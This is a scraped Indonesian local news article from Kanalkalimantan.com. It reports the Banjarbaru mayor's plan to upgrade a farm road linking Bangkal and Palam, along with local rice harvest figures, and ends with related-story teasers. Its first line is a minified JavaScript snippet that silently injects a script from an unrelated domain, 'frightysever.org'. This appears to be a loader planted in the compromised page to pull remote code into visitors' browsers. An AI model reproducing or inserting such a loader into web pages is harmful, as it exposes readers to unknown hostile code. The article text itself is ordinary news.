(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Perbaikan dan peningkatan akses jalan usaha tani yang menghubungkan dua wilayah pertanian di Kecamatan Cempaka, Kota Banjarbaru, Provinsi Kalimantan Selatan (Kalsel) akan ditangani Pemerintah Kota Banjarbaru.
Akses jalan usaha tani yang berada di Handil Kiyai Kelurahan Bangkal tembus ke wilayah pertanian di Kelurahan Palam.
Dalam sesi dialog tanya jawab bersama para petani di Handil Kiyai Bangkal, Wali Kota Banjarbaru Aditya Mufti Ariffin menanggapi keluhan para petani terkait kesulitan akses jalan usaha tani yang menghubungkan dua wilayah bertetangga tersebut.
Baca juga:Â Warga Minta Perbaikan Jalan Usaha Tani di Wilayah Bangkal dan Palam
Wali Kota Banjarbaru Aditya Mufti Ariffin. Foto: wanda
“Insyaallah nanti kita anggaran di perubahan, akan kita perbaiki dan tingkatan, ke arah pengerasan,” ujar Wali Kota Banjarbaru.
Saat berdialog, Aditya mengaku banyak mendapat aspirasi terkait permintaan para petani dalam hal perbaikan jalan, seperti meminta jalan tersebut diaspal dan pengerasan.
“Namun kita sepakat pilih pengerasan agar tidak ada alih fungsi lahan di sini, jadi tidak ada lahan pertanian yang diubah menjadi perumahan dan lain-lain,” jelas dia.
Baca juga:Â Jagokan Mukhyar di Pilwali Banjarmasin, Sokongan Poros Koalisi PKS-PKB
Di sisi lain Aditya menjelaskan bahwa saat ini Kota Banjarbaru memiliki lahan pertanian berkelanjutan seluas 1.500 hektare.
Ada 18 kelompok tani (Poktan) di Kelurahan Bangkal dan 8 Poktan di Kelurahan Palam yang melakukan panen padi bersama.
Padi yang dihasilkan pada masa panen akhir Juli mencapai 4 ton per hektare dengan varietas padi lokal jenis siam kuning, dengan jumlah produktifitas diperkirakan mencapai 3.924 ton gabah.
Baca juga:Â Pengedar Narkoba Jaringan Kalbar Ditangkap di Banjarmasin, 6 Kg Sabu Disita
Panen padi di Handil Kiyai Kelurahan Bangkal menghasilkan padi unggul dengan luasan sekitar 7 hektare, sedangkan di Kelurahan Palam dengan luasan 2 hektare.
“Kita berharap lahan pertanian ini selalu berkelanjutan, selalu lestari, sehingga ujungnya suplai makanan di Kota Banjarbaru mendapat suplai dari daerah sendiri,” hatap Aditya.
Lebih jauh, pemerintah saat ini menuangkan Peraturan Daerah berkaitan dengan lahan pertanian berkelanjutan di Kota Banjarbaru ini.
Baca juga:Â Ini Jawaban Pj Bupati HSU Terkait Raperda APBD Perubahan 2024
Melakui Perda itu sudah dipetakan bagaimana lahan pertanian berkelanjutan ini agar bisa beralih tangan namun tidak beralih fungsi.(Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.